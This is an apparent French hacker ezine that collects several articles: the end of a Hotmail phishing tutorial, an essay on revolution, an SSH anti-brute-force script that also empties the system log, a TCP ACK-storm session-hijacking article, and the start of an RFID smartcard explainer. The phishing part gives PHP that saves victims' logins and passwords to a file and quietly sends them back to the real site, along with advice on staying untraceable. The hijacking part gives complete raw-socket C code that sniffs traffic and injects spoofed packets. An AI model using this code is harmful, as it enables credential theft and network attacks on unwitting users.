						&copy; 2006 Microsoft Corporation. 
						<nobr>
						All rights reserved.
						</nobr>
						</td>
					</tr>
				</table>
				</td>
			</tr>
		</table>
		<input type="hidden" name="PPFT" id="i0327" value="B8DMqYonus9tcFU7hkaTzIOj8SPWtRRcaAXJasiICovctbf8gLXL6WcsZpF1VqjblUItPTKGfvQ7cBBrx8HKbGlmv5DX"/>
		</form>
		<table cellpadding="0" cellspacing="0" border="0" width="100%" style="font-size:0;">
			<tr>
				<td>
				&nbsp;
				</td>
			</tr>
		</table>
		</td>
	</tr>
	<tr>
		<td valign="top" colspan="2" class="css9996">
		<iframe src="http://cb2.msn.com/footer.armx?lid=1033&cbpage=login&lc=1033&x=3.200.4104.0" width="100%" height="110" frameborder="0" scrolling="auto" align="bottom" marginwidth="0" marginheight="0" name="i6003"></iframe>
		</td>
	</tr>
</table>
</body>
</html>


la ligne importante a identifier est celle ci

<form name="f1" style="margin:0px;" method="POST" target="_top"  action="mkd.php" >

ou jai mi mkd.php a la place du url qui sert d'interpreteur de login a hotmail. dans
cette version, j'ai carrement desactiver lensemble des javascripts, ceux ci interferais
avec le form action. Mais il est aussi possible de downloader les javascripts et de 
modifier ceux ci pour que l'execution de la page pointe sur votre fichier a vous. mais
cest beaucoup plus simple de sen passer pour une perte peu significative de realisme.
sinon vous devrez aussi modifier les autre url de css ou d'inclusion de fichier pour 
le url complet web au lieu de l'url relatif local utiliser dans le code de hotmail.
Si vous avez downloader les css et les js, changer les url pour votre url relatif
local, bien evidament.  






	3) redirection et recuperation
	

la parti la plus simple et interressante, la cerise sur le sunday. ici on recupere
le user pass de notre bon samaritain naif et on le renvois sur la page derreur de
hotmail, il croirat donc avoir faite une erreur de frappe, reiterreras sa demande de
login cette fois ci sur le vrai serveur et aura access a sont compte et ne se sera
sans doute rendu compte de rien. C'est ici que le contenu de notre fichier mkd.php
intervient.                     



<?PHP
//echo $_POST['login']."<BR>";
//echo $_POST['passwd'];

$fp = fopen("hotpass.txt","a+");
fputs($fp,$_POST['login']." \ ".$_POST['passwd']."\r\n");
fclose($fp);

header("location:https://login.passport.com/ppsecure/post.srf");



?>

se simple code intercepte les user/pass incrit dans votre faux formulaire et redirige
l'utilisateur flouer sur la veritable page derreur de hotmail a l'insus de celui ci.



	4) Conclusion



	Comme vous avez pu remarquer, il n'y a rien la de tres compliquer qui j'ustifie
un manque aussi flagrant d'information. Je conseille fortement a qui veux sessayer 
d'utiliser un url plus credible que pageabob.com/hotmail/index.html a la fois dans le
nom du url que dans les arguments qui peuvent etre faker facilement sans influence sur
le code a l'aide de mod_rewrite (voir article sur mod_rewrite publier dans un ezine
precedent). De plus je ne vous conseille pas d'enregistrer le domaine a votre nom n'y
a votre addresse n'y de l'utiliser d'une facon ou d'une autre a partir dun compte web
qui pourrais vous trahir. En fait si vous savez pas sque vous faites, l'imiter vous a
impressinner vos ami avec votre fake hotmail, mais sans vous en servire pour vrai ;).

                 




     	.-----.           		         	       		         .---.
     	|     '----- - ------ - ------- - ------------------------------------- -'   |
     	|									     |
     	|______ _ ________________________________.--------------------.______ _ ____| 
       	                                          |      by Wyzeman    |
           			                  '--------------------' 






                                binf vu de trop loin:

                                         0
                                        |||
                                ________/ \________





                                binf vu de trop proche:

                                ###################
                                ###################
                                ###################
                                ###################
                                ###################
                                ###################
                                ###################
                                ###################
                                ###################
                                ###################
                                ###################   




                                binf vu de vraiment trop loin:



                                        .
	





     	    .-- -- ---- ----.
     	 ___|  MKD1001\009  |____ _ ___________ _ ___________________________________
     	|   '---------------'                                                        |
     	| 							                     |     
     	|     .---- - ----------------- - ---------------------------------- - --.   .
     	'-----'                                                                  '---'
                                                      
                                  La révolution est inévitable
   
  	                                       AKA

				  Le monde doit, et vas changer

                                      


 
                _    ____   ____ ____ __  __ ____ _    _  _ ___ _ ____ _  _   
                |    |__|   |__/ |__   \  /  |  | |    |  |  |  | |  | |\ |   
                |___ |  |   |  \ |___   \/   |__| |___ |__|  |  | |__| | \|   
                ____ ____ ___   _ _  _ ____ __  __ _ ___ ____ ___ _    ____   
                |__  [__   |    | |\ | |__   \  /  |  |  |__| |_/ |    |__    
                |___ ___]  |    | | \| |___   \/   |  |  |  | |_/ |___ |___   



		

Une révolution? Pourquoi?



Pour plusieurs,le concept de révolution, de changement,demeure flou, voir même inconcevable...
Pas de panique, la révolution n'est pas quelque chose de négatif, au contraire. Pour certains,
le mot fait peur, pour d'autres il est synonyme de nécessité. Certains se    demandent  plutôt 
qu'est-ce que ça mange en hiver, et pour dautres il sagit d'une marque déposée  (TM) servant à
identifier la prochaine console de jeu de Nintendo ...  Attardons-nous  donc quelques instants 
pour tenter de mieux comprendre le phénomène.

Tout d'abord,  tentons de définir le concept  de  révolution:  résumons  le  simplement  en un
changement global de société, de mentalité, de façon de vivre, ou en un joli mélange  de  tous 
ces ingrédients. 

Il faut savoir a priori que ce phénomène remonte loin dans l'histoire de l'humanité, voir même
aux débuts de celle-ci. En effet, on constatera que des changements occurent depuis bon nombre
d'années. Pour preuve, pensons simplement  à  tout  cet  attirail technologique dont nous nous
sommes dotés au fil du temps. Certains diront   qu'il  s'agit  là  d'évolution,  et   non   de 
révolution... Pourtant, ces deux phénomènes sont  intimement  liés. L'humanité ne peut évoluer
qu'en se fixant des objectifs, et, la révolution est un outil de remise  en  question   et  de
progrès, dans une démarche d'évolution continue. 

La  révolution    n'est  pas  négative,    même  si  elle  se  base parfois sur le refus où le 
mécontentement  par  rapport  à  des  problèmes  sociaux,  elle  découle plutôt de l'évolution 
d'individus, étant simplement la manifestation (parfois violente)  d'un bond  en avant dans la
conscience et le progrès humain.

Alors, qu'est-ce que ça nous apporte une révolution? Du changement... et malheureusement, pour 
beaucoup,  le  changement fait peur ...   Certains  simplement craignent de voir leur  routine 
sécurisante changée, d'autres, craignent de voir leur emprise (ou empire) déstabilisée. 

Historiquement parlant,   la  société d'hier et d'aujourd'hui a  longtemps été divisée en deux 
classes distinctes: une classe dirigeante et une classe travaillante.  La  classe  au  pouvoir
étant bien sur la première à s'opposer farouchement à toute révolution:  aliénant  le  peuple, 
lui faisant croire en une organisation sociale contemporaine incontestable.   Ainsi, la loi du 
marché présente dans notre société écrase littéralement le peuple, le privant du pouvoir qu'il
se devrait d'avoir. Cette véritable "omerta" au service des classes dominantes  (bureaucrates, 
technocrates, managers et bourgeois) impose ses choix et ses priorités  à la population. Cette
dernière, trop souvent, se laisse berner par de beaux discours    prometteurs,   masquant  les
réelles intentions de cette tyrannie gouverne-mentale prenant des décisions  sur  des   enjeux 
fondamentaux, avant même que la population    ne  soit tenue  au  courant et que les  opinions 
divergentes ne soient prises en compte. 

Avec la disparition accentué ces dernières années  de    la  "classe moyenne"  au  profit  des 
élitistes, on constate un nombre grandissant de gens   souhaitant  du changement, remettant en
question notre société actuelle et son organisation... Assisterions-nous donc a une révolution 
au sein de notre société? Et surtout, qu'est-ce que nous apporterait une  révolution? Un monde 
meilleur? Utopique diront certains... c'est pourtant ce que de plus  en  plus de gens semblent 
penser, luttant et agissant progressivement vers un monde meilleur...

Un système figé s'effondre sur lui-même... Dans le système actuel, l'inertie est là,écrasante, 
bloquant toute évolution qui ne lui est pas profitable économiquement, imposant acceptation et
soumission à sa fatalité. Y  opposant l'engagement personnel et le refus de la résignation, on 
constate avec enthousiasme, dans notre société où la pression pousse à la division sociale, la 
tendance de plus en plus répandue  des  individus  à s'unir pour changer les choses. Affirmant 
qu'une société  meilleure est  possible,  et  allant de l'avant pour la rendre possible. Ainsi
donc, lentement mais progressivement, les prises de conscience arrivent et la révolution va de 
l'avant, poussant les individus vers un cheminement personnel et collectif.


«C'est par nos pensées, nos paroles et nos actions, individuellement 
et collectivement, que nous façonnons nos lendemains.»




     	.-----.           		         	       		         .---.
     	|     '----- - ------ - ------- - ------------------------------------- -'   |
     	|									     |
     	|______ _ ________________________________.--------------------.______ _ ____| 
       	                                          |      by Smash3r    |
           			                  '--------------------'








        ____         ,-------------------------------------------------
       /    \        | antibruteforcessh 
      |  _   |       |  
      | / \  |       | #!/bin/bash 
      ||   | |      /  echo "$$" > pid 
      (.) (.)|     /   cat /var/log/messages |grep "Failed password for invalid user" |awk '{print $13}' > list 
      ||   | |    <__  cat /var/log/messages |grep "Failed password for root" |awk '{print $11}' >> list 
      ||   | | |     | echo "" > /var/log/messages 
      ||   | | |     | for i in $( cat list ); do 
      |____/|| |     | if cat result |grep "$i" >/dev/null 
      |\___/ | |     |  then 
      ||   | | |     |  if ! iptables-save |grep "$i" >/dev/null 
      ||   | | |     |    then 
      ||   | | |     |    iptables -A INPUT -s "$i" -j DROP 
      ||     | |          echo `date | awk '{print $3,$2,$4}'` "$i" was blocked "(bruteforce SSH)"
      | \___/  |        fi
      |        |       fi 
       \______/           

                       if ! cat result |grep "$i" >/dev/null
                        then
                        echo "$i" >> result
                       fi
                       done
                       rm -rf list result
                       exit


                       Lindividu





     	    .-- -- ---- ----.
     	 ___|  MKD1001\010  |____ _ ___________ _ ___________________________________
     	|   '---------------'                                                        |
     	| 							                     |     
     	|     .---- - ----------------- - ---------------------------------- - --.   .
     	'-----'                                                                  '---'
                                                      
                                            Ack Storm
   
  	                                       AKA

                                   Une tempete dans un routeur

                                      




Ack Storm 

I)Intro
--------
 
Plop tout le monde.
Vous avez sans doute deja entendu parler du protocole TCP/IP peut etre meme des  attaques Man 
In The Midle et si vous etes un ouf meme de la grippe aviaire. Bah  nous on va faire pire que 
la grippe ^^.

Pendant que j'ecris ce texte que les Russes battent le Kazakhstan au hockey et  que le Canada 
ce fait demonter par les Suisses, la grippe aviaire ce repand tel  un fleau malsain. Elle est 
desormais  partout  et  personne  ne  peut plus lui echapper. Minkind est deja contamine, ses 
auteurs ne savent plus ce qu'ils  disent,  tremblent,  bavent  partout  et surtout le pire !! 
codent des truks qui font n'importe quoi.

C'est dans ce climat de delire psychopathique que je dois ecrire cet  article... Ne soyez pas 
trop dur avec moi, je ne suis desormais plus responsable de mes actes !

II)L'homme entre 2 fesses
--------------------------

Un jour l'homme a cree la machine ultime, l'ordinateur!. Mais il trouvait triste  de voir ces 
bebetes seules alors il fit une chose monstrueuse, il  les  relia  entre  elles  OMG !!!!  le 
magnifique protocol TCP apparu (snirf ..c'est trop beau faut que je me tape une queue...)

****Une queue plus tard****

Ha  ca  fait  du bien (pour les filles qui me lisent bah ...envoyez moi vos mails  :) /me  is 
alone snirf) Bref finit de pleurer sur mon sort et place au coding.

Il faut savoir que le protcol TCP fait parti de la 3 eme couche du modele OSI,  celle qui est 
charge de transporte lesdonnes, de verifier quelle n'ont  pas  ete  alteres. D'un point de vu 
technique c'est un put1 bordel pour faire tout ca :)

Voici a quoi ressemble un packet TCP:

 TCP Header Format

    0                   1                   2                   3   
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |          Source Port          |       Destination Port        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                        Sequence Number                        | SN
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |                    Acknowledgment Number                      | ACK
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |  Data |           |U|A|P|R|S|F|                               |
   | Offset| Reserved  |R|C|S|S|Y|I|            Window             |
   |       |           |G|K|H|T|N|N|                               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |           Checksum            |         Urgent Pointer        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                    Options                    |    Padding    |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                             data                              |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+




Nous  allons uniquement nous interesser a l'echange de donnees, pour ceux qu'il  veulent  tout 
connaitre aller la [FRAMEIP] je desisgne par C le client et le  serveur  par  (attention ya un 
truk de fou que jvais dire la ..) S.

C envoie un packet a S il envoie un packet avec les flags Push et Ack activé et leurs propre 
  SN et ACK.

C-- flags(Push & Ack) SN=1,ACK=2,DATAlen=10 ->S

S repond avec le flag Ack pour dire qu'il a bien recu le colis.

S-- flag(Ack) SN=2,ACK=1+10=11->C

et ainsi de suite

C-- flags(Push & Ack) SN=11,ACK=2,DATAlen=3 ->S
S-- flag(Ack) SN=2,ACK=11+3+14 ->C
.
.
.

[HJK]
Le but de notre attaque sera d'injecter un packet qui possedera les bons SN et ACK avec une ip 
spoofée et le champ IP valide pour  ce  faire  passer  pour  le  client. Pour cela nous devont 
Sniffer le reseau et oui  vous  ne  pourrez  pas  le  faire sur le net enfin sauf si vous etes 
malin ;). Le schema precedent devient avec dans le role du mechant H le hacker :)

C-- flags(Push & Ack) SN=1,ACK=2,DATAlen=10 ->S
S-- flag(Ack) SN=2,ACK=1+10=11->C
H-- IP SPOOFE flags(Push & Ack) SN=11,ACK=2,DATAlen=3 ->S
S-- flag(Ack) SN=2,ACK=11+3+14 ->C

oups !!! HolyShit!!!

La  ca  devient  le bordel :s, le client recoie un packet ACK alors qu'il n'a rien  envoyer il 
envoie un ACK au serveur celui ci fait la meme chose la connection est desynchronisee c'est un 
ACK STORM !! les ack volent sur le reseau comme une 
nuee d'oiseaux malades !

Bref voila le chtit code qui fait mieux que la grippe:  N'oubliez  de  preciser  l'addresse de 
votre carte rezo !

-------------CUT HERE----------------
#include <stdio.h>
#include <stdlib.h>

#pragma comment(lib,"ws2_32.lib")
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
#include "struct.h"

char IP_USURP[16]={0}; //Ip distante
int PORT_DEST=0;



bool resolve_name(char *ip)
{
	
    hostent * pHE;

    if ((pHE = gethostbyname(ip)) ==NULL)
	{
		 printf("Gethostbyname failed: %d\n",WSAGetLastError());
		return false;
	}
  struct in_addr buff;

  memcpy(&buff,pHE->h_addr_list[0],sizeof(struct in_addr));
  
  printf("%s\n",inet_ntoa(buff));
  strcpy(IP_USURP,inet_ntoa(buff));
  return true;

}

void initWSA()
{
	WORD wVersionRequested;
	WSADATA WSAData;

wVersionRequested=MAKEWORD(2,2);
	if ((WSAStartup(wVersionRequested,& WSAData)) !=0 )
	{
		printf("WSAStartup failed: %d\n",WSAGetLastError());
		exit(-1);
	}

   
}

SOCKET Socket;
bool  InitSocket()
{
	int optval=1;
	Socket = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW,NULL,0,0);

	if (Socket == INVALID_SOCKET)
	{
		printf("Socket failed: %d\n",WSAGetLastError());
		return false;
	}

	if (setsockopt(Socket, IPPROTO_IP, 2, (char *) &optval, sizeof(optval))== SOCKET_ERROR) //IP_MULTICAST_IF
	{
	perror("setsockopt");
	WSACleanup();
	return false;
	}

  return true;
}

SOCKET Socket2;
bool InitSocket2()
{

struct sockaddr_in SockAddr;
Socket2 = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
DWORD BytesReturned;
int I = 1;

		if (Socket2 == INVALID_SOCKET)
		{
		printf("Socket2 failed: %d\n",WSAGetLastError());
			exit(-1);
		}

		memset(&SockAddr, 0, sizeof(SockAddr));
		SockAddr.sin_addr.s_addr = inet_addr("192.168.0.3"); //addresse de votre carte rezo !
		SockAddr.sin_family = AF_INET;
		SockAddr.sin_port = 0;

		if (bind(Socket2, (sockaddr *)&SockAddr, sizeof(SockAddr)) == SOCKET_ERROR)
		{
			printf("Bind failed: %d\n",WSAGetLastError());
			return false;
		}

		if (WSAIoctl(Socket2, SIO_RCVALL, &I, sizeof(I), NULL, NULL, &BytesReturned, NULL, NULL) == SOCKET_ERROR)
		{
			printf("WSAIoctl failed: %d\n",WSAGetLastError());
			return false;
		}

return true;
}

void CreatePacket(char *ip_src,char * ip_dest,u_short port_src,u_short port_dest,int acknum,int isn,u_short win,char flags,u_short ipid)
{

	printf("%s\n",ip_src);

	IP_HDR *iphdr;
	TCP_HDR *tcphdr;
	PSD_HDR *psdhdr;

	
	char data[4096]="Own3d by Ivanlef0u";


printf("TCP Packet Maker By Ivanlef0u\n");

u_int  frago=0,ttl=0,mf=0,df=0;
u_int syn=0,ack=0,urg=0,fin=0,rst=0,psh=0;
u_int urgptr=0;




printf("4.Fabrication de l'entete IP\n");
	iphdr = (IP_HDR *) malloc(sizeof(IP_HDR));
    memset(iphdr,0,sizeof(IP_HDR));
 
char ip_len = sizeof(IP_HDR) / sizeof(unsigned long); //Taille en multique de 4 octets (unsigned long) de l'en tete IP (ici 5)
char ip_version = 4;
iphdr->verlen = (ip_version << 4) | ip_len;
iphdr->tot_len=htons(sizeof(IP_HDR)+sizeof(TCP_HDR)+strlen(data));
iphdr->id=htons(ipid);
iphdr->offset=htons(iphdr->offset|=0x4000);
iphdr->ttl=128;
iphdr->protocol=IPPROTO_TCP;
iphdr->saddr=inet_addr(ip_src);
iphdr->daddr=inet_addr(ip_dest);
iphdr->checksum=in_cksum((u_short *) iphdr, sizeof(IP_HDR));;

printf("Fabrication de l'entete IP: [OK]\n");

/*
int flags=0;
if (fin==1)
flags+=0x01;
if (syn==1)
flags +=0x2;
if(rst==1)
flags+=0x04;
if(psh==1)
flags+=0x08;
if(ack==1)
flags+=0x10;
if(urg==1)
flags+=0x20;
*/
printf("5.Fabrication de l'entete TCP...\n");

tcphdr = (TCP_HDR *) malloc(sizeof(TCP_HDR));
memset(tcphdr, 0x0, sizeof(TCP_HDR));

tcphdr->sport=htons(port_src);
tcphdr->dport=htons(port_dest);
tcphdr->seqnum=htonl(isn);
tcphdr->acknum=htonl(acknum);
tcphdr->DataOffset=(5) << 4;
tcphdr->Flags=flags;
tcphdr->Window=htons(win);
tcphdr->UrgPointer=0;
tcphdr->Checksum=0;
printf("Fabrication de l'entete TCP: [OK]\n");

printf("6.Fabrication de la pseudo entete TCP...\n");

char tampon[65535];//tampon pour le checksum TCP

psdhdr = (PSD_HDR *) malloc(sizeof(PSD_HDR));
memset(psdhdr, 0, sizeof(PSD_HDR));

psdhdr->saddr=inet_addr(ip_src);
psdhdr->daddr=inet_addr(ip_dest);
psdhdr->useless=0;
psdhdr->protocol=IPPROTO_TCP;
psdhdr->length=htons(sizeof(TCP_HDR)+strlen(data));

memcpy(tampon,psdhdr,sizeof(PSD_HDR));
memcpy(tampon+sizeof(PSD_HDR),tcphdr,sizeof(TCP_HDR));
memcpy(tampon+sizeof(PSD_HDR)+sizeof(TCP_HDR),data,strlen(data));


printf("Fabrication du pseudo entete: [OK]\n");
tcphdr->Checksum=in_cksum((u_short *) tampon, sizeof(PSD_HDR)+sizeof(TCP_HDR)+strlen(data));

struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = iphdr->daddr;

char *packet=NULL, *ptr=NULL;
u_short packet_size=sizeof(IP_HDR)+sizeof(TCP_HDR)+strlen(data);

packet = (char *) malloc(packet_size);

ZeroMemory(packet, packet_size);
    ptr = packet;
    memcpy(ptr, iphdr, sizeof(IP_HDR));
    ptr += sizeof(struct iphdr);
    memcpy(ptr, tcphdr, sizeof(TCP_HDR));
	ptr += sizeof(struct tcphdr);
	memcpy(ptr, data, strlen(data));
    

  
  printf("7.Envoie du paquet\n");
    if (sendto
	(Socket, packet, packet_size, 0, (struct sockaddr *) &sin,
	 sizeof(struct sockaddr_in)) == SOCKET_ERROR) {
	perror("sendto");
    }
 printf("Paquet envoye\n");   
 
	free(iphdr);
    free(tcphdr);
    free(psdhdr);
}    



void CapturePacket()
{
printf("Capture en cours\n");

char RecvBuf[65535]={0};
u_short ip_id=0;
u_int win=0;
int i=0;
while (i<1)
{
	memset(RecvBuf,0,sizeof(RecvBuf));
	recv(Socket2,RecvBuf,sizeof(RecvBuf),0);
IP_HDR *pIpHeader;
TCP_HDR *pTcpHeader;

pIpHeader=(IP_HDR *)RecvBuf; //Adresse du pointer  ip est egal au debut de l'header IP
pTcpHeader=(TCP_HDR *)(RecvBuf + sizeof(IP_HDR)); //Adresse du pointeur header TCP

char srcIP[16], destIP[16];
SOCKADDR_IN sasource, sadest;

int data_len=ntohs(pIpHeader->tot_len)-sizeof(IP_HDR)-sizeof(TCP_HDR);

sasource.sin_addr.s_addr=pIpHeader->saddr;
strncpy(srcIP,inet_ntoa(sasource.sin_addr),16);

sadest.sin_addr.s_addr=pIpHeader->daddr;
strncpy(destIP,inet_ntoa(sadest.sin_addr),16);


if (pIpHeader->protocol==IPPROTO_TCP && strcmp(destIP,IP_USURP)==0) //on recupere l'id du dernier packet envoyer
{
ip_id=ntohs(pIpHeader->id);
printf("Id: %d\n",ip_id);
win=ntohs(pTcpHeader->Window);

}

if(pIpHeader->protocol==IPPROTO_TCP && strcmp(srcIP,IP_USURP)==0 && ntohs(pTcpHeader->sport)==PORT_DEST) //si on recoit un packet tcp 
{
	CreatePacket(destIP,IP_USURP,ntohs(pTcpHeader->dport),ntohs(pTcpHeader->sport),ntohl(pTcpHeader->seqnum)+data_len,ntohl(pTcpHeader->acknum),win,0x18,ip_id+1);
i++; //un seul packet suffit
}

}

}


void main(int argc, char *argv[])
{

if (argc<3)
{
printf("Usage is: <adresse ordi distant> <port service distant> \n");
exit(-1);
}


printf("Verification des donnees entrees...\n");
if(strlen(argv[1])>255 || (atoi(argv[2]) <0 || atoi(argv[2]) > 65535 ) )
{
	printf("Erreur dans les donnees entrees\n");
	exit(-1);
}
printf("Verification des donnees: [OK]\n");

PORT_DEST=atoi(argv[2]);
initWSA();

if(resolve_name(argv[1])==false)
exit(-1);

if(InitSocket()==false)
exit(-1);

if(InitSocket2()==false)
exit(-1);


printf("Waiting for Orders.. (Push me)\n");
system("PAUSE");

CapturePacket();

WSACleanup();
closesocket(Socket);
closesocket(Socket2);
}
-------------CUT HERE----------------


EMail: ivanlef0u119@yahoo.fr
WebSite: http://membres.lycos.fr/moi118118/


Vous trouverez tout les code et les executables sur mon site dans le dossier Mindkind.
References
------------

[FRAMEIP] http://www.frameip.com/accueil/
[REDKOD] http://www.redkod.org/
[MSDN] http://msdn1.microsoft.com/en-US/default.aspx
[HJK] http://www.madchat.org/reseau/hijacking/hijacking.htm




     	.-----.           		         	       		         .---.
     	|     '----- - ------ - ------- - ------------------------------------- -'   |
     	|									     |
     	|______ _ ________________________________.--------------------.______ _ ____| 
       	                                          |      by IvanLeFou  |
           			                  '--------------------'









     	    .-- -- ---- ----.
     	 ___|  MKD1001\011  |____ _ ___________ _ ___________________________________
     	|   '---------------'                                                        |
     	| 							                     |     
     	|     .---- - ----------------- - ---------------------------------- - --.   .
     	'-----'                                                                  '---'
                                                      
                              Smartcard - RFID - Access Control

  	                                    AKA

                              Moi jaurais appeller ca des Mindcard...



                                      
Bonjour, pour mon article je vais vous parler d'un sujet qui s'en vient de 
plus en plus populaire. On en entend parler de plus en plus des fameuses 
cartes à puce ou tag RFID, que ça soit pour payer (Mastercard PayPass, EMV) 
ou pour identifier le stock dans des entreprises. Ce n’est pas pour rien que 
des géants investissent dans le RFID, comme par exemple Wal-Mart qui pousse 
pour que la technologie soit encore plus performante (cherchez pour GEN2 sur 
le web)
Dans cet article je vais parler en uttilisant comme example une des cartes 
sans contact de Phillips: Mifare Desfire.
Http://www.semiconductors.philips.com/acrobat_download/other/identification/SFS075530.pdf).
Le gouvernement américain a approuvé les cartes Desfire pour la NASA 
(www.physorg.com/news506.html), etc. La DESFIRE est aussi FIPS 201, qui est 
le nouveau standard américain. Les cartes de proximité s'en viennent de plus 
en plus populaires, et je crois que beaucoup de choses vont se tourner vers 
ses cartes là, car elles ont beaucoup d'avantages. Elles sont plus 
sécuritaires que les cartes magnétiques et elle n’ont aucun contact physique 
dont moins de dommage à cause des égratignures. De plus, cette carte permet 
un cryptage doit être remplacé par cryptage ou 3DES. La DESFIRE n'est pas la 
toute dernière, il y a des cartes encore plus envolées, technologie SmartMX 
de Phillips aussi, qui va permettre des possibilités très grandes. Pour 
l'instant, les cartes sont un peu comme un drive USB intelligent et 
encrypté. Il va être possible avec SmartMX de loader du code dans la carte 
sous Java et d'étendre les fonctionnalités. Tu vas avoir un OS dans ta 
carte, c'est un changement énorme de pouvoir introduire du code au lieu de 
simplement des données.
http://www.semiconductors.philips.com/products/identification/smartmx/
Certains lecteurs ne sont que justes pour des contrôleurs d'accès, mais il y 
a aussi un standard pour des lecteurs branchés sur des PCs qui se nomme 
PC/SC (http://www.pcscworkgroup.com/). PS/SC propose un protocole de 
commandes pour le lecteur de carte, des commandes que le PC envoie. Un 
lecteur pour le PC pourrait être pratique en autre pour le logons Windows, 
ou pour tout autre site.

Un petit lexique ISO 14443 (carte de proximité sans contact) :
PCD — Proximity Coupling Device -> C'est le lecteur de carte
PICC — Proximity Integrated Circuit Cards — Les cartes
ACPU--- Packet ( c'est un frame avec la commande )

Les cartes à contact sont spécifiées dans ISO 7816, mais ne seront pas 
traité dans cet article car c'est à veille de disparaitre.

Les PICCs vont fonctionner sur habituellement un range de 10cm (c'est limité 
à la grosseur de l'antenne) et sur une fréquence de 13.56mhz. Ce n’est pas 
beaucoup, mais c'est parfait pour ce que ça doit faire, comme le contrôle 
d'accès par exemple, qui est une des fonctions principale. Le protocole ISO 
14443 supporte deux type de PICCs, le type A et B. La DESFIRE est de Type 
A(donc tout ce qui est Phillips). Il y a aussi le type B, mais c'est du 
pareil au même, c'est simplement un autre type de modulation et de protocol 
d'anticollision et de sélection. C'est plus ou moins important de savoir le 
protocol physique. D'autre type on voulu venir au monde mais n'ont jamais 
été retenu par ISO.

ISO 14443 est constitué de :
— Carte de proximité
· Part 1 : Les caractéristiques physiques
· Part 2 : Les fréquences radio et le signal
· Part 3 : L'initialisation et l'anticollision < —
· Part 4 : Le protocole de transmission.

Voici comment ça marche :

Premièrement, chaque carte a un numéro de série appelé le UID ou numéro de 
série, c'est de taille variable selon l’ISO (Desfire a 7 octets), et c'est 
brûler par le manufacturier et non changeable.  La carte c'est un peu comme 
un disque dur, on écrit des fichiers et du data avec certaines permissions 
comme NTFS. Le uid est utiliser et trouver dans le protocole anticollision, 
qui sert a supporter plusieurs cartes dans le champ énergétique, sans qu'il 
y ait de corruptions et de merdes avec le data. Le UID ne devrait pas être 
uttiliser comme numéro de carte , car il est lisible par tous le monde.
C'est pourtant avec se principe que certain des lecteurs HID fonctionnait , 
y fesais un XOR sur le UID pour générer leur numéros..

La carte rentre dans le champ magnétique du lecteur, elle est ainsi 
alimentée en courant, elle n'a pas de batterie, elle est entièrement 
alimentée par le lecteur.
Au départ elle est en mode OFF (non alimenter), ensuite elle rentre dans un 
idle (la carte se réveille et est alimentée elle peut répondre a REQ et 
WAKEUP), des qu'elle reçoit REQ ou WAKEUP avec son UID sélectionner elle 
devient READY. Il va avoir 2-3 (selon ce que la carte supporte) niveaux de 
cascading dans l'anticollision pour découvrir le UID. Le cascading est 
simplement une phase ou il y a un échange du numéro de série. Dans chaque 
étape d'anticollision ( cascading ) on découvre des octects de plus du UID.  
Une fois l'anticollision terminer nous avons le UID qui permet d'envoyer une 
commande SELECT (14443-3) qui détermine à quel carte nous allons parlé. Le 
select va nous retourner un byte SAK, qui va entre autre nous dire le nom de 
la carte( Desfire, Mifare Classic, ProX) ainsi que d'autre informations. 
Pour stopper l'action sur une carte, on utilise HALT. La carte ne répond pu 
à rien à part un WAKEUP. Comme vous l'avez vu, c'est le PCD qui se charge 
d'initialiser la communication. Je ne rentrerais pas trop dans les détails 
d’ISO 14443, car les documents sont disponibles sur le web. Une fois le 
select terminé , une sélection de vitesse de baud rate( RATS, PPSS) envoyé 
nous pouvons parlé avec la carte .Il y a un procole de commandes inter 
compagnies qui permettre de parler a n'importe quel PICC qui supporte ISO 
7816. Certaine carte , ISO 14443 vont supporter les commandes ISO 7816. Car 
14443 ne fait que l'activation de la carte , ce n'est pas son protocol de 
commande. Le protocol de commande est sois 7816 ou propriétaire.

http://www.cardwerk.com/smartcards/smartcard_standard_ISO7816-4_6_basic_interindustry_commands.aspx

READ BINARY
WRITE BINARY
UPDATE BINARY
ERASE BINARY
READ RECORD(S)
WRITE RECORD
APPEND RECORD
UPDATE RECORD
GET DATA
PUT DATA
SELECT FILE
VERIFY
INTERNAL AUTHENTICATE
EXTERNAL AUTHENTICATE
GET CHALLENGE
MANAGE CHANNEL
Ce sont des fonctions d'I/o , qui permettre d'écrire , de lire , de vérifier 
si le data à bien été écris  , un peu les mêmes uttilités qu'un accès à une 
database.
Elle seront envoyer dans un packet ACPU. Une fois la carte en état 
selectioné, la Desfire s'attend à s'authentifier. Et oui on ne peux pas lire 
le data sans avoir les clés , malheureusement, ça serait un peu trop 
exploitable . Pour ce qui de l'authentification sur Mifare Desfire, c'est du 
3DES avec une clé de 16 octets. Ça fait beaucoup de possibilités de 
combinaison pour un bruteforce...

Les cartes anciennes carte Mifare Classic fonctionnaient en terme de 
secteur, tu accédais a des block mémoires plutôt qu'a un fichier et les 
applications était fixes.Le cryptage est propriétaire « Crypto1 » de 
Phillips (Desfire a été fait justement à cause de ça car ce n’était pas 
public) et les gens du monde de la cryptographie n'aime pas tout ce qui est 
propriétaire.

La carte Desfire à un système de fichier révolutionnaire comparé à la carte 
Mifare classique et possède un total de 4KB de ROM. Ce qui est beaucoup dans 
le cas d'un PICC. Elle peut contenir plusieurs applications (1-28), une 
